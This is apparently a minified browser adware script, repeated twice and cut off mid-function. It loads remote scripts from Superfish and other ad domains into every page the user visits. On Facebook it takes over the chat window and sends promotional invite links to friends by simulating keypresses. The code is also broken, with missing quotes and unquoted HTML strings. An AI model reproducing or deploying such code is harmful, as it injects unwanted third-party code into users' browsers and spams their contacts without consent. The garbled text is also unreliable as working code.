a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement(script);script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch101"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}function AddDP(){ if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement(script); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch101"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); }}AddDP();//3.4 no chacheID in gamesvar gpid="101",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}}function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start();function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"==this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url(http://www.2yourface.com/Plugin/images/outer_bg.png);border-radius:8px;padding:9px;z-index:1002;overflow: auto;"),document.body.appendChild(a))}}function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()}function Process(){var a=-1,b=document;if(""==gMyName){var d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar",c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}}function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())}function GetFriendName(a){var b=a.indexOf(<a class="titlebarText),b=a.indexOf(">",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)}function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b=<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_+d+" class="fbNubFlyoutBody11" style="height:18px;position:relative;top:0px;background:#6d84b4;">+(<div style="position:absolute;left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with +b+"/></div>)+(<div style="position:absolute;left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with +b+" /></div>)+(<div style="position:absolute;left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with +b+" /></div>)+(<div style="position:absolute;left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to +b+" /></div>)+(<div style="width:26px;height:30px;position:absolute;left:23px;top:-21px;cursor:pointer" ><a href=\javascript:InviteVideo(+d+,"+b+");\><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:72px;top:-21px;cursor:pointer" ><a href=\javascript:InviteCall(+d+,"+b+");\ ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with +b+" /></a></div>)+(<div style="position:absolute;left:110px;top:-21px;cursor:pointer" ><a href=\javascript:InviteGames(+d+,"+b+");\ ><img style="width:24px;height:20px;position:absolute;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:155px;top:-20px;cursor:pointer" ><a href=\javascript:SendSmiley(+d+);\ ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to +b+" /></a></div>)+<div style="width:24px;height:30px;position:absolute;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>;d=a.parent().html();a.next().children();-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c<a.length;c++)TryParseInvitation(a[c],d,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,d){TryParseSmileyInvitation(a,b,d)||TryParsePhoneCallInvite(a,b,d)||TryParseVideoInvite(a,b,d)||TryParseGameInvite(a,b,d)}function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,d=a.indexOf(".");return a.substring(b,d)}return""}function TryParseGameInvite(a,b,d){var c=a.innerHTML;if(-1!=c.indexOf(gGameInviteMsgPrefix)){var f=IsMe(a),c=GetGameFromMessage(c);f?c="You have invited "+d+" to play "+c:(f=GetGameID(c),c=d+" invited You to Play "+c+" <a href=javascript:AcceptGame("+f+,"+Env.user+","+b+","+gMyName+"\") > Accept</a>");a.innerHTML=c;return!0}return!1}function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat <a href=javascript:StartPhone("+b+,"+d+"\") > Accept</a>",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}function OpenDialog(a,b,d,c,f,h){b=<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">+h+ - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+c+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+f+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">+("<iframe src="+a+" width="+b+" height="+d+" scrolling=no border=no style=\"background-color:white;border:0px;\" />")+</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf(title="You");return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf(alt="+gMyName+"))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat <a href=javascript:StartVideo("+b+,"+d+"\") > Accept</a>",a.innerHTML=c)}function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function GetMyID(){var a=document.body.innerHTML.indexOf(detect_broken_proxy_cache("),a=a+"30",b=document.body.innerHTML.indexOf(",a);return document.body.innerHTML.substring(a,b)}function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}function OpenGamesDialog(a,b,d,c){b="<style type=text/css >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+(<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+d+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+c+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">)+"<div id=ex5 style=background-color:gray;height:220px;width:400px; ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",c,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}function GetGameOfferHTML(a,b,d,c){return"<a style=position:relative;top:-20px; href=\"javascript:OpenGame("+a+","+d+" ,"+c+)" ><img style="width:70px;height:70px;" src=\+b+" title=\"Invite "+d+" to play "+GetGameName(a)+" /></a>};</script><script type="text/javascript">AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement(script);script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch101"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}function AddDP(){ if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement(script); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch101"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); }}AddDP();//3.4 no chacheID in gamesvar gpid="101",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}}function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start();function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"==this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url(http://www.2yourface.com/Plugin/images/outer_bg.png);border-radius:8px;padding:9px;z-index:1002;overflow: auto;"),document.body.appendChild(a))}}function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()}function Process(){var a=-1,b=document;if(""==gMyName){var d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar",c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}}function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())}function GetFriendName(a){var b=a.indexOf(<a class="titlebarText),b=a.indexOf(">",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)}function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b=<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_+d+" class="fbNubFlyoutBody11" style="height:18px;position:relative;top:0px;background:#6d84b4;">+(<div style="position:absolute;left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with +b+"/></div>)+(<div style="position:absolute;left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with +b+" /></div>)+(<div style="position:absolute;left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with +b+" /></div>)+(<div style="position:absolute;left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to +b+" /></div>)+(<div style="width:26px;height:30px;position:absolute;left:23px;top:-21px;cursor:pointer" ><a href=\javascript:InviteVideo(+d+,"+b+");\><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:72px;top:-21px;cursor:pointer" ><a href=\javascript:InviteCall(+d+,"+b+");\ ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with +b+" /></a></div>)+(<div style="position:absolute;left:110px;top:-21px;cursor:pointer" ><a href=\javascript:InviteGames(+d+,"+b+");\ ><img style="width:24px;height:20px;position:absolute;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:155px;top:-20px;cursor:pointer" ><a href=\javascript:SendSmiley(+d+);\ ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to +b+" /></a></div>)+<div style="width:24px;height:30px;position:absolute;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>;d=a.parent().html();a.next().children();-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c<a.length;c++)TryParseInvitation(a[c],d,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,d){TryParseSmileyInvitation(a,b,d)||TryParsePhoneCallInvite(a,b,d)||TryParseVideoInvite(a,b,d)||TryParseGameInvite(a,b,d)}function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,d=a.indexOf(".");return a.substring(b,d)}return""}function TryParseGameInvite(a,b,d){var c=a.innerHTML;if(-1!=c.indexOf(gGameInviteMsgPrefix)){var f=IsMe(a),c=GetGameFromMessage(c);f?c="You have invited "+d+" to play "+c:(f=GetGameID(c),c=d+" invited You to Play "+c+" <a href=javascript:AcceptGame("+f+,"+Env.user+","+b+","+gMyName+"\") > Accept</a>");a.innerHTML=c;return!0}return!1}function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat <a href=javascript:StartPhone("+b+,"+d+"\") > Accept</a>",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}function OpenDialog(a,b,d,c,f,h){b=<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">+h+ - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+c+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+f+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">+("<iframe src="+a+" width="+b+" height="+d+" scrolling=no border=no style=\"background-color:white;border:0px;\" />")+</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf(title="You");return 